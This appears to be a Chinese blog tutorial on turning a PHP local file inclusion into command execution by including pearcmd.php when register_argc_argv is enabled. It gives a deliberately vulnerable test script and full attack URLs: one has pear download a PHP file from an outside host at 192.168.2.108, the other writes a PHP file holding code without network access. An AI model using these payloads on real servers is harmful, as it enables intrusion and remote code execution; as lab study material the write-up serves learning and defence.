LFI包含pearcmd命令执行学习

前置知识

pear全称PHP Extension and Application Repository,php扩展和应用仓库,在docker中默认安装,路径为/user/local/lib/php

register_argc_argv为On时,我的理解为$_SERVER['argv']和$_SERVER['argc']会记录一些东西,在web模式下,传参时用+连接的值的个数就是argc,各个参数被存到argv里

测试一下:test.php

<?php
$a=$_GET['a'];
var_dump($_SERVER['argc']);
var_dump($_SERVER['argv']);
?>

这里是根据+做分隔符来判断,而不是根据传参个数

利用条件

目标装了pear组件,register_argc_argv为On,可以包含到pearcmd.php文件(不受open_basedir和文件后缀束缚)

利用原理

当文件包含了pearcmd.php时就会执行$_SERVER['agrv']中的命令

利用实例

ubuntu下安装pear

sudo apt install php-pear

安装路径为/usr/share/php

在/etc/php/7.4/apache2/php.ini中改register_argc_argv为On

test.php

<?php
$a=$_GET['a'];
include('/usr/share/php/pearcmd.php');
?>

根据pear的命令构造恶意语句

pear install -R ./ http://192.168.2.108/info.php  //下载构造的恶意文件,这里往里面装了个phpinfo

将各个参数用+分开并传参

访问test.php?file=/usr/share/php/pearcmd.php&+install+-R+./+http://192.168.2.108/info.php

攻击成功

不出网利用方式:

构造命令

pear config-create /'<?=phpinfo()>' ./info.php

访问test.php?file=/usr/share/php/pearcmd.php&+config-create+/'<?=phpinfo()?>'+./info.php(这里有个坑,直接url中get传参会把<这些字符自动编码,就成功不了,所以用burp抓包再改传参)

包含生成的文件可见攻击成功

posted @ 2022-01-11 15:53  Yu_so1dier0n  阅读(831)  评论(0编辑  收藏  举报